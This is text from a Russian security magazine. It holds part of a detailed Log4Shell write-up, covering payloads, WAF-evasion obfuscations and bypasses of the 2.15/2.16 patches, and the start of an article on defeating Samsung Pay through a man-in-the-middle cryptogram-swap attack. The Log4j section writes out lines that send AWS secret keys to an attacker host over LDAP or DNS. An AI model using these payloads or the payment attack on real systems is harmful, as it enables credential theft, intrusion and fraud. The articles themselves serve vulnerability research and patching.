И вуаля, наб­люда­ем каль­кулятор.

Экс­плу­ата­ция

НЕ RCE ЕДИНЫМ
Вы­пол­нение кода  — это, конеч­но, замеча­тель­но, но  уяз­вимость и  без это­го
сулит мно­го проб­лем. Давай вспом­ним, какое количес­тво резол­веров,
помимо JNDI, были объ­явле­ны в variableResolver:

"date" -> {DateLookup@5805}


"java" -> {JavaLookup@5807}
"marker" -> {MarkerLookup@5809}
"ctx" -> {ContextMapLookup@5811}
"lower" -> {LowerLookup@5813}
"upper" -> {UpperLookup@5815}
"jndi" -> {JndiLookup@5817}
"main" -> {MapLookup@5819}
"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821}
"sys" -> {SystemPropertiesLookup@5823}
"env" -> {EnvironmentLookup@5825}
"log4j" -> {Log4jLookup@5827}

Все их мож­но исполь­зовать таким же обра­зом. Рас­смот­рим, нап­ример,


резол­вер env. Он поз­воля­ет получать дос­туп к перемен­ным окру­жения. Поп‐­
робу­ем что‑нибудь безобид­ное, нап­ример ${env:OS}.

gradlew run --args='${env:OS}'

По­луче­ние дос­тупа к перемен­ным окру­жения через log4j

Это хорошо, но как нам получить зна­чение этой перемен­ной уда­лен­но? Давай
вер­немся к  методу substitute. Раз­берем перемен­ную
substitutionInVariablesEnabled.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
...
final boolean substitutionInVariablesEnabled =
isEnableSubstitutionInVariables();

По дефол­ту она уста­нов­лена в  true  — зна­чит, конс­трук­ции ${} могут сами


быть динами­чес­кими, то есть содер­жать дру­гие перемен­ные.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public boolean isEnableSubstitutionInVariables() {
return enableSubstitutionInVariables;
}

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
/**
* The flag whether substitution in variable names is enabled.
*/
private boolean enableSubstitutionInVariables = true;

Та­ким обра­зом при  пар­синге про­веря­ется истинность


substitutionInVariablesEnabled и, если зна­чение истинно, находит­ся
начало еще  одной конс­трук­ции ${. Ее позиция записы­вает­ся, а  зна­чение
nestedVarCount инкре­мен­тиру­ется.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
...
final boolean substitutionInVariablesEnabled =
isEnableSubstitutionInVariables();
...
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset,
bufEnd)) != 0) {

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
nestedVarCount++;
pos += endMatchLen;
continue;

Пос­ле того как  вся стро­ка обра­бота­на, про­исхо­дит рекур­сивный вызов


метода substitute начиная с самой глу­боко вло­жен­ной перемен­ной. То есть
пре­обра­зова­ние конс­трук­ции вида ${${${var}}} начина­ется с  перемен­ной
${var}. Такое поведе­ние откры­вает ата­кующе­му прос­то колос­саль­ное
количес­тво раз­личных век­торов для ата­ки.
С эти­ми зна­ниями воз­вра­щаем­ся к  нашему воп­росу: как  получить зна‐­
чение перемен­ной уда­лен­но?
Пер­вое, что при­ходит в голову, — это прос­то передать дан­ные в URI или в
качес­тве парамет­ров на  наш сер­вер. Давай поп­робу­ем это  сде­лать.
Для  получе­ния нуж­ной информа­ции необ­ходимо передать валид­ное LDAP-
при­ветс­твие кли­енту, в качес­тве которо­го выс­тупа­ет уяз­вимая машина. Эму‐­
лиру­ем его, прос­то передав нуж­ную байт‑стро­ку через echo:

echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv


-l -p 389 | xxd

В пей­лоад добавим нуж­ную перемен­ную окру­жения.

gradlew run --args='${jndi:ldap://127.0.0.1/${env:OS}}'

Пе­реда­ча перемен­ных окру­жения на сер­вер ата­кующе­го

Прос­тор для  твор­чес­тва здесь огромный. Нап­ример, мож­но передать клю­чи


дос­тупа от AWS.

${jndi:ldap://attacker.server/${env:AWS_SECRET_ACCESS_KEY}}

Да­же если на  уда­лен­ной машине зап­рещены TCP-кон­некты, DNS-зап­росы


чаще все­го ходят нор­маль­но. В  таком слу­чае пей­лоад при­обре­тает сле‐­
дующий вид.

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.server/any}

От­прав­ка содер­жимого перемен­ной окру­жения через DNS-зап­рос

МАНИПУЛЯЦИИ С ПЕЙЛОАДОМ И ОБХОДЫ WAF


Те­перь сто­ит ска­зать пару слов о  раз­личных тех­никах обхо­да WAF. В  пер­вую
оче­редь обра­тим вни­мание на обра­бот­ку пре­фик­са для опре­деле­ния резол‐­
вера.

org/apache/logging/log4j/core/lookup/Interpolator.java
public String lookup(final LogEvent event, String var) {
...
final String prefix = var.substring(0, prefixPos).toLowerCase(
Locale.US);

При выпол­нении фун­кции toLowerCase все сим­волы, про­ходя­щие через нее,


при­водят­ся к  ука­зан­ным реги­ональ­ным нас­трой­кам (Locale.US). Это  поз‐­
воля­ет брать похожие литеры из дру­гих алфа­вит­ных сис­тем, и они будут пре‐­
обра­зова­ны в  мак­сималь­но под­ходящие англий­ские. Тех­ника называ­ется
Best-fit Mappings.

${ĴņđĨ:ldap://127.0.0.1/${env:OS}}

Та­кой век­тор тоже отлично отра­баты­вает.

Ис­поль­зование похожих сим­волов из дру­гих алфа­витов при экс­плу­ата­‐


ции уяз­вимос­ти в Log4j

По­мимо это­го, воз­можность исполь­зовать вло­жен­ные перемен­ные откры­вает


широкий прос­тор для соз­дания уни­каль­ных пей­лоадов. Пос­мотрим на резол‐­
веры lower и upper.

"lower" -> {LowerLookup@5813}


"upper" -> {UpperLookup@5815}

Как ты понял из наз­вания, они пре­обра­зуют текст в ниж­ний и вер­хний регистр


соот­ветс­твен­но. Мож­но ука­зывать один или  нес­коль­ко сим­волов для  тран‐­
сфор­мации. Исполь­зуя эти резол­веры, полез­ную наг­рузку мож­но тран­сфор‐­
мировать в сле­дующий вид:

${${upper:j}${lower:n}${upper:d}i:${lower:l}d${lower:ap}://127.0.0.1/
${env:OS}}

Продолжение статьи

COVERSTORY ←
НАЧАЛО СТАТЬИ

LOG4HELL!
РАЗБИРАЕМ LOG4SHELL
ВО ВСЕХ ПОДРОБНОСТЯХ

Толь­ко не  исполь­зуй вер­хний регистр в  схе­ме (ldap), так как  она регис­тро‐­
зави­сима и LDAP://127.0.0.1 уже не при­ведет кон­нект к тво­ему сер­веру.
Те­перь давай еще  раз вер­немся к  про­вер­ке зна­чения перемен­ной
в методе substitute, к тому кус­ку кода, что я про­пус­тил вна­чале.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
...
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(
varNameExprChars, i);
if (matchLen != 0) {
...
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.
isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i +
valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.
isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i +
valueDelimiterMatchLen);
break;
}
}
}

Здесь конс­трук­ция valueDelimiterMatcher.isMatch про­веря­ет содер‐­


жимое перемен­ной на  наличие дво­ето­чия и  минуса. Они исполь­зуют­ся
для  того, что­бы ука­зать дефол­тное зна­чение, если резол­вер вер­нет false.
Нап­ример, перемен­ная окру­жения, которую мы зап­рашива­ем, не сущес­тву­ет.
Переда­ча перемен­ной с дефол­тным зна­чени­ем име­ет сле­дующий фор­мат:

${резолвер:переменная:-дефолтное_значение}

Мой при­мер с  несущес­тву­ющей перемен­ной окру­жения будет выг­лядеть


как‑то так:

${env:ANYTHING:-hello}

При­чем количес­тво дво­ето­чий во вто­ром слу­чае может быть любым.

Ука­зание дефол­тных зна­чений в стро­ковых перемен­ных ${}

Так­же мож­но сов­сем не  ука­зывать резол­вер. Тог­да метод resolveVariable


поп­робу­ет при­менить резол­вер по умол­чанию — MapLookup. И если он вер‐­
нет null, то будет исполь­зовать­ся дефол­тное зна­чение, которое мы переда‐
ли.

${::-hello}

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos,
endPos);
if (varValue == null) {
varValue = varDefaultValue;
}

Де­фол­тное зна­чение перемен­ной без исполь­зования резол­вера в Log4j

Ров­но такое же поведе­ние будет при несущес­тву­ющем резол­вере.

Де­фол­тное зна­чение перемен­ной при исполь­зовании несущес­тву­юще­го


резол­вера в Log4j

Тог­да ата­кующий пей­лоад может при­обре­тать сов­сем безум­ный вид.

${${:::::-j}${lower:N}${env:OLOLOLO:-d}i:${::-l}${:ANYANY:-d}${ASDF:
DSFA:-a}p://127.0.0.1/${env:OS}}

И такое тоже успешно отра­баты­вает.

Экс­плу­ата­ция уяз­вимос­ти в Log4j при помощи обфусци­рован­ной полез­‐


ной наг­рузки

Бло­киро­вать что‑то подоб­ное WAF-сис­темами, которые осно­ваны


на регуляр­ках, сам понима­ешь, занятие не из при­ятных.

ПАТЧИ И ИХ ОБХОДЫ
Нас­тало вре­мя погово­рить о зап­латках для уяз­вимос­ти.
Пер­вое, что рекомен­довали, — это уста­новить флаг formatMsgNoLookups
или  перемен­ную окру­жения LOG4J_FORMAT_MSG_NO_LOOKUPS в  true, что­бы
перемен­ные в логиру­емых событи­ях не обра­баты­вались. Такое решение под‐­
ходит для Log4j вер­сий 2.10 и выше.

Фикс уяз­вимос­ти в Log4j при помощи фла­га formatMsgNoLookups

Это дей­стви­тель­но помога­ет, толь­ко вот далеко не всег­да. При­чина в том, что
в Log4j все еще сущес­тву­ют мес­та в коде, где может про­исхо­дить обра­бот­ка
перемен­ных в логиру­емых событи­ях. Нап­ример, если при­ложе­ние исполь­зует
конс­трук­ции вида Logger.printf(level, "%s", userInput) или  свой кас‐­
томный класс для  логиро­вания, где не  реали­зует­ся
StringBuilderFormattable.

Об­ход фик­са уяз­вимос­ти в Log4j. Успешная экс­плу­ата­ция с уста­нов­‐


ленным фла­гом formatMsgNoLookups

Мо­гут сущес­тво­вать и  дру­гие век­торы атак, так что исполь­зовать этот метод
фик­са не рекомен­дует­ся.
Пер­вый офи­циаль­ный патч появил­ся в  вер­сии  2.15. В  ней воз­можность
исполь­зовать перемен­ные в  сооб­щени­ях по  дефол­ту отклю­чили, но  в кон‐­
фигах это  по‑преж­нему работа­ет. Для  JNDI-кон­нектов был вве­ден механизм
белых спис­ков, который по  умол­чанию раз­реша­ет толь­ко localhost. Если
исполь­зует­ся кас­томный шаб­лон логиро­вания, где поль­зователь­ские дан­ные
каким‑то обра­зом попада­ют в  Thread Context Map (MDC), то экс­плу­ата­ция
уяз­вимос­ти все еще воз­можна.
Рас­смот­рим на при­мере. Возь­мем форк репози­тория log4shell-vulnerable-
app Кая Мин­дерма­на (Kai Mindermann).

git clone https://github.com/kmindi/log4shell-vulnerable-app.git


log4shell-vulnerable-app-2

cd log4shell-vulnerable-app-2

Рас­коммен­тируй стро­ку в  build.gradle, что­бы исполь­зовать новую вер­сию


Log4j.

build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details
->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.15.0'
}
}
}

В этом фор­ке нем­ного из­менен шаб­лон логиро­вания.

src/main/resources/log4j2.properties
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd
HH:mm:ss} %-5p %c{1}:%L - %m%n

И метод логиро­вания поль­зователь­ских дан­ных.

src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController
.java
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion
) {
// Add user controlled input to threadcontext;
// Used in log via ${ctx:apiversion}
ThreadContext.put("apiversion", apiVersion);

logger.info("Received a request for API version ");


return "Hello, world!";
}

gradlew bootRun

curl -H 'X-Api-Version: ${env:OS}' 127.0.0.1:8080

curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o=tomcat}' 127.


0.0.1:8080

Те­перь зна­чение из  заголов­ка X-Api-Version переда­ется в  перемен­ную


apiversion через ThreadContext. В  таком слу­чае экс­плу­ата­ция все так же
воз­можна. Единс­твен­ное, что оста­нав­лива­ет от  пол­ноцен­ного RCE,  —
это огра­ниче­ние кон­нектов через JNDI толь­ко к локаль­ным адре­сам. Но сво‐­
еоб­разный LCE (Local Code Execution :-)) все еще  мож­но при­менять, нап‐­
ример как век­тор для под­нятия при­виле­гий.

Об­ход фик­са уяз­вимос­ти в Log4j 2.15. Успешная экс­плу­ата­ция через


ThreadContext

Эта воз­можность экс­плу­ата­ции получи­ла отдель­ный иден­тифика­тор CVE-


2021-45046.
Пос­ле того как раз­работ­чики поняли, что патч получил­ся не сов­сем удач‐­
ным, выш­ла оче­ред­ная вер­сия Log4j  — 2.16. Казалось бы, на  этот раз все
дол­жно быть исправ­лено как  нуж­но. Но  прис­таль­ное вни­мание со  сто­роны
иссле­дова­телей быс­тро дало свои пло­ды  — нашел­ся спо­соб выз­вать отказ
в  обслу­жива­нии. Эта уяз­вимость сно­ва получа­ет свой иден­тифика­тор CVE-
2021-45105. Экс­плу­ата­ция опять воз­можна, толь­ко ког­да исполь­зуют­ся нес‐­
тандар­тные шаб­лоны логиро­вания.
Об­ратим­ся все к  тому же фор­ку log4shell-vulnerable-app. Здесь шаб­лон
уяз­вим и для этой ата­ки.

src/main/resources/log4j2.properties
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd
HH:mm:ss} %-5p %c{1}:%L - %m%n

Ес­ли ата­кующий передаст ${ctx:apiversion}, это  вызовет бес­конеч­ные


попыт­ки пре­обра­зова­ния перемен­ной и  в работе при­ложе­ния про­изой­дет
исклю­чение.
Об­новля­ем вер­сию Log4j в кон­фиге и тес­тиру­ем уяз­вимость.

build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details
->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.16.0'
}
}
}

curl -H 'X-Api-Version: ${ctx:apiversion}' 127.0.0.1:8080

Экс­плу­ата­ция DoS-уяз­вимос­ти CVE-2021-45046 в Log4j 2.16.0

В оче­ред­ном бил­де  — вер­сии  2.17  — основные проб­лемы, кажет­ся, закон‐­


чились. Была обна­руже­на еще  одна уяз­вимость с  иден­тифика­тором CVE-
2021-44832, но усло­вия для ее успешной экс­плу­ата­ции доволь­но суровы. Ата‐­
кующе­му нужен дос­туп для  изме­нения кон­фигура­ций логиро­вания. В  таком
слу­чае он может сге­нери­ровать кон­фигура­цию, где мож­но выпол­нить про‐­
изволь­ный код через JDBC Appender с  источни­ком дан­ных, ссы­лающим­ся
на JNDI URI. Об этом я, пожалуй, рас­ска­жу как‑нибудь в дру­гой раз, а ты ско‐­
рее обновляй­ся на самую пос­леднюю вер­сию Log4j 2.17.1.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
В этой статье я рас­смот­рел очень инте­рес­ную и опас­ную с точ­ки зре­ния пос‐­
ледс­твий уяз­вимость. Лег­кость экс­плу­ата­ции породи­ла нас­тоящий бум в сети,
все­воз­можные логи начали пух­нуть от  наличия в  них записей, содер­жащих
завет­ные ${jndi:ldap://}. Log4Shell по  пра­ву стал самой горячей уяз‐­
вимостью ухо­дяще­го года. Думаю, что мы еще  дол­гое вре­мя будем видеть
на  прос­торах баг­баун­ти репор­ты, где эта проб­лема всплы­вает в  самых
неожи­дан­ных мес­тах.
Уди­витель­но, как  баг с  таким прос­тым век­тором экс­плу­ата­ции оста­вал­ся
в  тени широкой общес­твен­ности целых восемь лет, ведь пер­вая уяз­вимая
вер­сия Log4j 2.0 beta9 была выпуще­на аж в кон­це сен­тября 2013 года.
Для нас это  оче­ред­ное напоми­нание о  том, что иног­да дос­таточ­но лишь
прис­таль­нее приг­лядеть­ся к коду, который у всех на виду, что­бы обна­ружить
неч­то инте­рес­ное.
ВЗЛОМ

БЛИЗКИЕ
КОНТАКТЫ
ВЗЛОМ GOOGLE PAY,
SAMSUNG PAY И APPLE PAY

Элек­трон­ные кошель­ки Google Pay,


Samsung Pay и  Apple Pay счи­тают­ся наибо‐­
лее сов­ремен­ными пла­теж­ными инс­тру­мен‐­
тами. Одна­ко они тоже под­верже­ны уяз‐­
вимос­тям, пос­коль­ку все еще  зависят Тимур Юнусов

от  тех­нологий, соз­данных трид­цать лет


назад. В  сегод­няшней статье я рас­ска­жу
о  методах взло­ма популяр­ных элек­трон­ных
кошель­ков, а  так­же рас­крою детали новой
ата­ки на  кошель­ки и  кар­ты EMV/NFC  —
Cryptogram Confusion.

Читай также
О прин­ципах, на  которых стро­ится безопас­ность бан­ков­ских пла­теж­ных сис‐­
тем, ты можешь узнать из моих пре­дыду­щих ста­тей:
• Близ­кие кон­такты. Ата­куем бес­контак­тные кар­ты
• Близ­кие кон­такты. Как работа­ют ата­ки на чиповые кар­ты
• Близ­кие кон­такты. Как хакеры кра­дут день­ги с бан­ков­ских карт
• Близ­кие кон­такты. Раз­бира­емся, как работа­ют сис­темы безопас­ности кре‐­
дит­ных карт

ПРЕДЫСТОРИЯ
Ес­ли прос­ледить эво­люцию стан­дарта EMV, то вна­чале были чиповые
смарт‑кар­ты. Затем эти кар­ты оснасти­ли антенной и прев­ратили в бес­контак‐­
тные кар­ты, унас­ледовав­шие поч­ти все фун­кции от EMV. Но кар­точным брен‐­
дам это­го было мало, и в 2011 году уже сущес­тво­вав­ший тог­да Google Wallet
оснасти­ли фун­кци­ей бес­контак­тной опла­ты с помощью NFC.
Google исполь­зовала под­ход Host-Card Emulator (HCE), ког­да конеч­ное
устрой­ство не  содер­жит в  себе все при­ват­ные и  сим­метрич­ные клю­чи шиф‐­
рования по  ана­логии со  смарт‑кар­той, а  вре­мя от  вре­мени заг­ружа­ет одно‐­
разо­вые клю­чи (Single-Use Key, SUK) для каж­дой сле­дующей опе­рации. При‐­
дер­жива­ясь это­го под­хода до  сих пор, телефо­ны с  Google Pay не  поз­воля­ют
совер­шать боль­ше двад­цати опе­раций без  под­клю­чения к  интерне­ту.
В 2012 году Samsung и Apple пред­ста­вили свои кошель­ки с исполь­зовани­ем
тех­нологии Secure Element. Работа­ют они по ана­логии со смарт‑кар­тами, где
физичес­ки и  логичес­ки защищен­ный чип гаран­тиру­ет защиту от  перех­вата,
чте­ния, переза­писи сек­ретных клю­чей, на  осно­ве которых соз­дают­ся  3DES-
крип­тограм­мы EMV и  под­писыва­ются дан­ные с  помощью асим­метрич­ного
RSA.
В прош­лом Сла­вомир Ясек по­казы­вал при­мер успешно­го перено­са
Google Pay с  одно­го устрой­ства на  дру­гое. При  этом сох­ранялась воз‐­
можность получать клю­чи SUK с сер­веров Google не на ори­гиналь­ное устрой‐­
ство. Питер Фил­лмор (Peter Fillmor) так­же деталь­но рас­смат­ривал устрой­ство
Apple Pay. Я в 2017 году демонс­три­ровал на кон­ферен­ции Black Hat USA реп‐­
лей ата­ки на онлайн‑крип­тограм­мы Apple Pay.
Два года назад я начал иссле­довать безопас­ность мобиль­ных кошель­ков
при  опла­те с  помощью NFC. На  тот момент Google Pay был единс­твен­ным
кошель­ком, поз­воля­ющим пла­тить устрой­ством с заб­локиро­ван­ным экра­ном.
Я очень быс­тро смог при­менить ата­ку, которую исполь­зовал для  бес­контак‐­
тных карт Visa, что­бы обой­ти лимиты NoCVM или Tap & Go (в Рос­сии они сос‐­
тавля­ют 3000 руб­лей). Для это­го было необ­ходимо лишь акти­виро­вать экран
на  заб­локиро­ван­ном телефо­не. Если телефон все еще  у вла­дель­ца в  кар‐­
мане, это  мож­но сде­лать, отпра­вив коман­ду по  Bluetooth или  Android Beam.
Нес­мотря на  заяв­ления экспер­тов, что «фор­маты и  про­токо­лы работы бес‐­
контак­тных карт раз­ных меж­дународ­ных сис­тем прин­ципи­аль­но не  раз­лича‐­
ются», я катего­ричес­ки с  этим не  сог­ласен, ведь при­менить такую же ата­ку
про­тив MasterCard мне не уда­лось.
В кон­це  2019  года Samsung и  Apple пред­ста­вили под­дер­жку «тран‐­
спортных схем» в круп­ных мегапо­лисах: Нью‑Йор­ке, Токио, Лон­доне. Во мно‐­
гих тран­спортных сис­темах опла­та зависит от  даль­нос­ти поез­дки, при  этом
финаль­ная сум­ма пла­тежа выс­читыва­ется исхо­дя из  точ­ки вхо­да в  мет­ро
и точ­ки выхода. Поэто­му сни­мать стан­дар­тную сум­му при пер­вом «тапе» кар‐­
ты или  кошель­ка некор­рек­тно. Далее, нес­мотря на  ста­биль­ное под­клю­чение
тур­никетов к  интерне­ту, они не  зап­рашива­ют авто­риза­цию тран­закций
онлайн, потому что соеди­нение занима­ет дол­гое вре­мя. Вмес­то это­го
исполь­зует­ся асин­хрон­ная авто­риза­ция. А что­бы про­тиво­дей­ство­вать мошен‐­
ничес­тву, при­меня­ется офлайн‑аутен­тифика­ция по  сов­ремен­ному стан­дарту
CDA, опи­сан­ному еще в спе­цифи­каци­ях EMV. Я уже рас­ска­зывал о прин­ципе
работы CDA в статье «Близ­кие кон­такты. Раз­бира­емся, как работа­ют сис­темы
безопас­ности кре­дит­ных карт».
На­конец, пос­ледняя проб­лема элек­трон­ных кошель­ков  — это  необ‐­
ходимость раз­бло­киро­вать телефон Apple или Samsung каж­дый раз, ког­да ты
под­ходишь к  тур­никету мет­ро. Край­не неудоб­но, не  прав­да ли? Имен­но
поэто­му и  Samsung, и  Apple сде­лали воз­можность пла­тить на  тран­спор­те
без раз­бло­киров­ки телефо­на.

ТОКЕНИЗАЦИЯ
Мо­биль­ные кошель­ки сущес­тву­ют бла­года­ря тех­нологии токени­зации: кар­та
добав­ляет­ся в мобиль­ный кошелек, дан­ные отсы­лают­ся меж­дународ­ной пла‐­
теж­ной сис­теме, которая пос­ле под­твержде­ния всех рек­визитов соз­дает
«вир­туаль­ную кар­ту». Она может работать толь­ко по  NFC, при­чем толь­ко
на том устрой­стве, на котором кар­та была добав­лена. Но это в теории.

Тех­нология токени­зации

Пре­иму­щес­тво мобиль­ного кошель­ка сос­тоит в  том, что исполь­зование


токенов огра­ниче­но. В  слу­чае ком­про­мета­ции токена зло­умыш­ленни­ки
не могут исполь­зовать укра­ден­ные дан­ные вир­туаль­ной кар­ты, что­бы соз­дать
клон маг­нитной полосы или пла­тить такой кар­той в интерне­те. Имен­но поэто‐­
му бан­ки, кар­точные брен­ды и круп­ные про­изво­дите­ли мобиль­ных кошель­ков
(Apple, Google, Samsung, Huawei и  про­чие) в  один голос утвер­жда­ют, что
безопас­ность мобиль­ных кошель­ков находит­ся на высоте.
На­чиная с момен­та замеще­ния кар­ты токеном бан­ки‑эми­тен­ты перес­тают
играть сущес­твен­ную роль в  авто­риза­ции тран­закций и  риск‑менед­жмен­те.
Да, они получа­ют информа­цию о  мес­тополо­жении и  типе мер­чанта, сум­ме,
дате тран­закции. Одна­ко все крип­тогра­фичес­кие фун­кции и  ана­лиз полей
EMV перено­сят­ся на  токени­затор (Visa VTS или  MasterCard MDES). Код,
который исполня­ется в  мобиль­ном кошель­ке, так­же написан, ауди­рован
и сер­тифици­рован одной из МПС. Apple или Samsung вро­де и ни при чем —
они выс­тупа­ют фасадом, но всю работу за них дела­ют МПС. А бан­ку‑эми­тен­ту
ста­новит­ся труд­нее судить о  мошен­ничес­ких опе­раци­ях из‑за недос­татка
дан­ных.
По­это­му опе­рации с  исполь­зовани­ем мобиль­ных кошель­ков, в  отли­чие
от  бан­ков­ских карт, поч­ти никог­да слу­чай­но не  бло­киру­ются сис­темами
антифро­да. Имен­но в этом и кро­ется одна из основных проб­лем: ответс­твен‐­
ные за  про­цесс пла­тежа скры­ты внут­ри самого это­го про­цес­са, а  сущ­ности
сна­ружи (банк‑эми­тент, мер­чант, мобиль­ный кошелек) име­ют огра­ничен­ные
воз­можнос­ти для при­нятия решений.

Схе­ма пла­тежа при помощи элек­трон­ного кошель­ка

АТАКУЕМ SAMSUNG PAY


Samsung пошел по  прос­тому пути: при  акти­вации тран­спортной кар­ты NFC
всег­да работа­ет на  телефо­не, и  все про­вер­ки, пред­назна­чен­ные для  того,
что­бы отли­чить пла­теж­ный тер­минал в  супер­марке­те от  тер­минала в  мет­ро,
совер­шают­ся на эта­пе фазы пла­тежей EMV/NFC.
Быс­тро добавив кар­ту Visa и уста­новив ее как тран­спортную в телефо­не, я
воору­жил­ся Proxmark3 и отпра­вил­ся в мет­ро, что­бы записать дан­ные о тран‐­
закции и  срав­нить зап­росы от  тер­минала в  мет­рополи­тене с  зап­росами
от обыч­ного пла­теж­ного тер­минала.
Глав­ная коман­да в  дан­ном слу­чае  — зап­рос тер­минала на  генера­цию
крип­тограм­мы (Generate AC) и ответ кошель­ка:

->

80a80000438341 — заголовок Generate AC

23004000 — поле Terminal Transaction Qualifier (обязательна


офлайн-аутентификация CDA)

54664c20426f6e6420537472656574 (TfL Bond Street) — Merchant Name and


Location

9f4bxxxxxxx — данные для офлайн-аутентификации

000000000000000000000000 0826 0000000000 0826 200331 00 4bee1439000


— сумма 0,00, валюта, дата транзакции и другие поля

<-

9f2701 80 — тип криптограммы (онлайн-криптограмма, ARQC)

9f3602 000e — счетчик операций, ATC

9f1020 1f4363 00200000000000000000002172000 — поле CVR — Card


Verification Results (среди прочего указывает совершенный способ
верификации, тип представленной криптограммы, ARQC)

9f2608 a83f66d03cc20d45 — онлайн-криптограмма

Для пла­теж­ных тер­миналов, авто­ризу­ющих пла­тежи онлайн, бес­контак­тные


кар­ты Visa не тре­буют офлайн‑аутен­тифика­ции. Но в дан­ном слу­чае она обя‐­
затель­на. Так­же телефон про­веря­ет сум­му: если она не рав­на 0.00, то тран‐­
закция не  прой­дет. Но  телефон не  смот­рит на  имя мер­чанта или  катего­рию
про­дав­ца (MCC — Merchant Category Code).
Ес­ли пла­теж про­исхо­дит в  обыч­ном тер­минале, офлайн‑аутен­тифика­ция
не будет зат­ребова­на и сум­ма будет отличной от 0.00. В этом слу­чае телефон
вер­нет сле­дующий ответ:

<- 6985 (Conditions of use not satisfied)

Я решил не отча­ивать­ся и добавил кар­ту MasterCard, сно­ва вер­нулся в мет­ро


и про­вел те же опе­рации:

->

80ae900041 — заголовок Generate AC (обязательна


офлайн-аутентификация CDA)

000000000000000000000000 — сумма равна 0.00

4111 — код MCC из категории «Транспорт»

082600200000000826210307006359313725000000000000000000003f0002 —
остальные поля

<-

9f2701 80 — тип криптограммы (онлайн-криптограмма, ARQC)

9f3602 000f – счетчик операций, ATC

9f4bxxxxxxx — данные для офлайн-аутентификации, содержащие

9f101a 02158000002200000000000000000000000A — поле CVR (тип


криптограммы — ARQC)

9f2608 02d8b8f76b5c29fc — онлайн-криптограмма

Для карт MasterCard офлайн‑аутен­тифика­ция по  бес­контак­тным кар­там обя‐­


затель­на прак­тичес­ки в каж­дой стра­не и под­держи­вает­ся каж­дой бес­контак‐­
тной кар­той. Если она не  будет успешна, тер­минал обя­зан прер­вать такую
тран­закцию. Поэто­му телефон про­веря­ет два поля: сум­му и код MCC.
Ес­ли пла­теж дела­ется в  обыч­ном тер­минале, сум­ма будет отли­чать­ся
от 0.00 и код тер­минала ока­жет­ся не из катего­рии «Тран­спорт». В этом слу­чае
телефон вер­нет такой ответ:

<-

9f2701 00 — тип криптограммы (AAC, криптограмма отказа)

9f3602 000e — счетчик ATC, следующее значение от предыдущего

9f101a 02158000002200000000000000000000000A — CVR (тип криптограммы


— AAC)

9f2608 02d8b8f76b5c29fc — AAC Cryptogram

Тут уже что‑то инте­рес­ное. Напом­ню, что крип­тограм­ма  — это  3DES HMAC
от  некото­рых полей, пред­став­ленных тер­миналом в  зап­росе Generate AC,
и  зна­чений в  самой кар­те, нап­ример ATC. Моя пер­вая догад­ка: а  что, если
клю­чи и  алго­ритм каль­куляции крип­тограм­мы AAC точ­но такие же, как  и
для  ARQC? Ведь счет­чик тран­закций уве­личи­вает­ся каж­дый раз на  1, даже
при  воз­вра­те AAC-крип­тограм­мы. Если мы поменя­ем поле 9f27 на  0x80,
крип­тограм­ма будет при­нята тер­миналом и  отправ­лена на  токени­заци­онный
хост MasterCard для  авто­риза­ции. И  если этот хост не  про­веря­ет зна­чения
фла­гов в  поле CVR, где все еще  вид­но, что тип крип­тограм­мы дру­гой, тран‐­
закция будет одоб­рена.
Зву­чит как  план, но  у меня была проб­лема: модифи­кация любых полей
во вре­мя обще­ния тер­минала и кошель­ка будет замече­на при офлайн‑аутен‐­
тифика­ции CDA. Тут мне на помощь приш­ла тех­ника, сов­сем недав­но най­ден‐­
ная «швей­цар­ски­ми уче­ными» (с). Они обна­ружи­ли, что обя­затель­ную
офлайн‑аутен­тифика­цию мож­но обой­ти, прит­ворив­шись кар­той Visa,
и исполь­зовали эту тех­нику для обхо­да ПИН‑кода.
Пер­вый план ата­ки соз­рел:
1. Бе­рем устрой­ство man in  the middle для  модифи­кации дан­ных меж­ду
телефо­ном и тер­миналом.
2. Про­водим ата­ку Card Brand Mixup  — кар­та MasterCard прит­воря­ется кар‐­
той Visa (как это делать — читай в иссле­дова­нии Card Brand Mixup Attack,
PDF).
3. На пос­леднем шаге при­меня­ем ата­ку Cryptogram Confusion: ког­да кошелек
воз­вра­щает крип­тограм­му типа 0x00 (AAC), мы меня­ем зна­чение поля
9f27 на 0x80 (ARQC).
Я был при­ятно удив­лен тем, что в кон­це кон­цов ата‐­
ка Cryptogram Confusion прош­ла и  тран­закция была одоб­рена. Вот виде‐­
